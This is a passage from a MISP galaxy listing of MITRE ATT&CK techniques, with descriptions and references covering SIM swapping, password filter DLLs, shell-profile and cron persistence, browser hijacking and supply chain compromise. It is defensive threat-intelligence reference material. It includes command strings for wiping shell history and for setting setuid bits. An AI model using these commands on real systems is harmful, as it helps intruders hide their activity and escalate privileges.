https://attack.mitre.org/techniques/T1318

SIM Card Swap - T1451

Adversaries may gain access to mobile devices through transfers or swaps from victims' phone numbers to adversary-controlled SIM cards and mobile devices.(Citation: ATT SIM Swap Scams)(Citation: Verizon SIM Swapping)

The typical process is as follows:

1. Adversaries will first gather information about victims through [Phishing](https://attack.mitre.org/techniques/T1660), social engineering, data breaches, or other avenues.
2. Adversaries will then impersonate victims as they contact mobile carriers to request for the SIM swaps. For example, adversaries would provide victims' name and address to mobile carriers; once authenticated, adversaries would request for victims' phone numbers to be transferred to adversary-controlled SIM cards.
3. Once completed, victims will lose mobile data, such as text messages and phone calls, on their mobile devices. In turn, adversaries will receive mobile data that was intended for the victims.

Adversaries may use the intercepted SMS messages to log into online accounts that use SMS-based authentication. Specifically, adversaries may use SMS-based authentication to log into banking and/or cryptocurrency accounts, then transfer funds to adversary-controlled wallets.

The tag is: *misp-galaxy:mitre-attack-pattern="SIM Card Swap - T1451"*

Table 8495. Table References

Links
https://attack.mitre.org/techniques/T1451
https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html
https://www.research.att.com/sites/cyberaware/ni/blog/sim_swap.html
https://www.verizon.com/about/account-security/sim-swapping

URL Scheme Hijacking - T1415

An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application(Citation: FireEye-Masque2)(Citation: Dhanjani-URLScheme). This technique, for example, could be used to capture OAuth authorization codes(Citation: IETF-PKCE) or to phish user credentials(Citation: MobileIron-XARA).

The tag is: *misp-galaxy:mitre-attack-pattern="URL Scheme Hijacking - T1415"*

Table 8496. Table References

Links
http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html
https://attack.mitre.org/techniques/T1415
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-10.html
https://tools.ietf.org/html/rfc7636
https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html
https://www.mobileiron.com/en/smartwork-blog/ios-url-scheme-hijacking-xara-attack-analysis-and-countermeasures

Clear Command History - T1146

In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.

The tag is: *misp-galaxy:mitre-attack-pattern="Clear Command History - T1146"*

Table 8497. Table References

Links
https://attack.mitre.org/techniques/T1146

System Location Discovery - T1614

Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)

Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614"*

Table 8498. Table References

Links
https://attack.mitre.org/techniques/T1614
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html
https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows
https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/
https://s3.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf
https://securelist.com/transparent-tribe-part-1/98127/
https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/

Password Filter DLL - T1174

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.

Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)

The tag is: *misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1174"*

Table 8499. Table References

Links
http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
https://attack.mitre.org/techniques/T1174
https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/

Device Type Discovery - T1419

On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.

The tag is: *misp-galaxy:mitre-attack-pattern="Device Type Discovery - T1419"*

Table 8500. Table References

Links
https://attack.mitre.org/techniques/T1419
https://developer.android.com/reference/android/os/Build

Spearphishing via Service - T1194

Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a

personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194"*

Table 8501. Table References

Links
https://attack.mitre.org/techniques/T1194
https://capec.mitre.org/data/definitions/163.html

Cloud Administration Command - T1651

Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)

If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment's virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Administration Command - T1651"*

Table 8502. Table References

Links
https://attack.mitre.org/techniques/T1651
https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html
https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview
https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/

Group Policy Discovery - T1615

Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Adversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.

The tag is: *misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615"*

Table 8503. Table References

Links
https://adsecurity.org/?p=2716
https://attack.mitre.org/techniques/T1615
https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult
https://github.com/PowerShellEmpire/Empire

Malicious Shell Modification - T1156

Adversaries may establish persistence through executing malicious commands triggered by a user's shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user's home directory (~/) to configure the environment. All login shells on a system use <code>/etc/profile</code> when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user's environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.

Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the <code>~/.bashrc</code> file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session(Pearl_shellbot).

For macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>. The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc<code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious Shell Modification - T1156"*

Table 8504. Table References

Links
https://attack.mitre.org/techniques/T1156
https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/

Browser Session Hijacking - T1185

Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)

A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.

Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)

The tag is: *misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185"*

Table 8505. Table References

Links
https://attack.mitre.org/techniques/T1185
https://en.wikipedia.org/wiki/Man-in-the-browser

https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf
https://www.cobaltstrike.com/help-browser-pivoting
https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses

Supply Chain Compromise - T1195

Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.

Supply chain compromise can take place at any stage of the supply chain including:

- Manipulation of development tools
- Manipulation of a development environment
- Manipulation of source code repositories (public or private)
- Manipulation of source code in open-source dependencies
- Manipulation of software update/distribution mechanisms
- Compromised/infected system images (removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware)
- Replacement of legitimate software with modified versions
- Sales of modified/counterfeit products to legitimate distributors
- Shipment interdiction

While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)

In some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component.(Citation: Krebs 3cx overview 2023) This may allow the threat actor to spread to even more victims.

The tag is: *misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195"*

Table 8506. Table References

Links
https://attack.mitre.org/techniques/T1195

https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/
https://krebsonsecurity.com/2023/04/3cx-breach-was-a-double-supply-chain-compromise/
https://web.archive.org/web/20160309235002/https://www.commandfive.com/papers/C5_APT_SKHack.pdf
https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028--*OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206*--E
https://www.se.com/us/en/download/document/SESN-2018-236-01/
https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets

Setuid and Setgid - T1166

When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user's context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn't need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.

An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user's context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).

The tag is: *misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1166"*

Table 8507. Table References

Links
http://man7.org/linux/man-pages/man2/setuid.2.html
https://attack.mitre.org/techniques/T1166
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Cloud Application Integration - T1671

Adversaries may achieve persistence by leveraging OAuth application integrations in a software-as-a-service environment. Adversaries may create a custom application, add a legitimate application into the environment, or even co-opt an existing integration to achieve malicious ends.(Citation: Push Security SaaS Persistence 2022)(Citation: SaaS Attacks GitHub Evil Twin Integrations)

OAuth is an open standard that allows users to authorize applications to access their information on their behalf. In a SaaS environment such as Microsoft 365 or Google Workspace, users may integrate applications to improve their workflow and achieve tasks.

Leveraging application integrations may allow adversaries to persist in an environment – for example, by granting consent to an application from a high-privileged adversary-controlled account in order to maintain access to its data, even in the event of losing access to the account.(Citation: Wiz Midnight Blizzard 2024)(Citation: Microsoft Malicious OAuth Applications 2022)(Citation: Huntress Persistence Microsoft 365 Compromise 2024) In some cases, integrations may remain valid even after the original consenting user account is disabled.(Citation: Push Security Slack Persistence 2023) Application integrations may also allow adversaries to bypass multi-factor authentication requirements through the use of [Application Access Token](https://attack.mitre.org/techniques/T1550/001)s. Finally, they may enable persistent [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) over time.(Citation: Synes Cyber Corner Malicious Azure Application 2023)

Creating or adding a new application may require the adversary to create a dedicated [Cloud Account](https://attack.mitre.org/techniques/T1136/003) for the application and assign it [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) – for example, in Microsoft 365 environments, an application can only access resources via an associated service principal.(Citation: Microsoft Entra ID Service Principals)

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Application Integration - T1671"*

Table 8508. Table References

Links
https://attack.mitre.org/techniques/T1671
https://cybercorner.tech/malicious-azure-application-perfectdata-software-and-office365-business-email-compromise/
https://github.com/pushsecurity/saas-attacks/blob/main/techniques/evil_twin_integrations/description.md
https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser
https://pushsecurity.com/blog/maintaining-persistent-access-in-a-saas-first-world/
https://pushsecurity.com/blog/phishing-slack-persistence/
https://www.huntress.com/blog/legitimate-apps-as-traitorware-for-persistent-microsoft-365-compromise

https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-OAuth-applications-used-to-compromise-email-servers-and-spread-spam/
https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices

Local Job Scheduling - T1168

On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).

cron

System-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.

Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.

at

The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.

launchd

Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168"*

Table 8509. Table References

Links

http://www.thesafemac.com/new-signed-malware-called-janicab/
https://attack.mitre.org/techniques/T1168
https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html
https://linux.die.net/man/1/at
https://linux.die.net/man/5/crontab
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Control Panel Items - T1196

Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)

For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)

Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.

The tag is: *misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196"*

Table 8510. Table References

Links
https://attack.mitre.org/techniques/T1196
https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/
https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf

C2 protocol development - T1352

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1352).

Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)

The tag is: *misp-galaxy:mitre-attack-pattern="C2 protocol development - T1352"*

Table 8511. Table References

Links
https://attack.mitre.org/techniques/T1352

Compiled HTML File - T1223

Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223"*

Table 8512. Table References

Links
https://attack.mitre.org/techniques/T1223
https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk
https://msdn.microsoft.com/windows/desktop/ms524405
https://msdn.microsoft.com/windows/desktop/ms644670
https://msitpros.com/?p=3909
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625

Create implementation plan - T1232

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1232).

Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)

The tag is: *misp-galaxy:mitre-attack-pattern="Create implementation plan - T1232"*

Table 8513. Table References

Links
https://attack.mitre.org/techniques/T1232

Determine operational element - T1242

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1242).

If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine operational element - T1242"*

Table 8514. Table References

Links
https://attack.mitre.org/techniques/T1242

Identify gap areas - T1225

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1225).

Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify gap areas - T1225"*

Table 8515. Table References

Links
https://attack.mitre.org/techniques/T1225

Map network topology - T1252

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1252).

A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)

The tag is: *misp-galaxy:mitre-attack-pattern="Map network topology - T1252"*

Table 8516. Table References

Links
https://attack.mitre.org/techniques/T1252

Enumerate client configurations - T1262

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1262).

Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)

The tag is: *misp-galaxy:mitre-attack-pattern="Enumerate client configurations - T1262"*

Table 8517. Table References

Links
https://attack.mitre.org/techniques/T1262

Identify business relationships - T1272

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1272).

Business relationship information includes the associates of a target and may be discovered via social media sites such as [LinkedIn](https://www.linkedin.com) or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as

exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify business relationships - T1272"*

Table 8518. Table References

Links
https://attack.mitre.org/techniques/T1272

Determine physical locations - T1282

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1282).

Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine physical locations - T1282"*

Table 8519. Table References

Links
https://attack.mitre.org/techniques/T1282

Test signature detection - T1292

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1292).

An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)

The tag is: *misp-galaxy:mitre-attack-pattern="Test signature detection - T1292"*

Table 8520. Table References

Links
https://attack.mitre.org/techniques/T1292

Access Contact List - T1432

An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.

The tag is: *misp-galaxy:mitre-attack-pattern="Access Contact List - T1432"*

Table 8521. Table References

Links
https://attack.mitre.org/techniques/T1432
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Network Service Scanning - T1423

Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).

The tag is: *misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1423"*

Table 8522. Table References

Links
https://attack.mitre.org/techniques/T1423

Archive Collected Data - T1532

Adversaries may compress and/or encrypt data that is collected prior to exfiltration. Compressing data can help to obfuscate its contents and minimize use of network resources. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.

Both compression and encryption are done prior to exfiltration, and can be performed using a utility, programming library, or custom algorithm.

The tag is: *misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1532"*

Table 8523. Table References

Links
https://attack.mitre.org/techniques/T1532

Evade Analysis Environment - T1523

Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering. Adversaries may use many different checks such as physical sensors, location, and system properties to fingerprint emulators and sandbox environments.(Citation: Talos Gustuff Apr 2019)(Citation: ThreatFabric Cerberus)(Citation: Xiao-ZergHelper)(Citation: Cyberscoop Evade

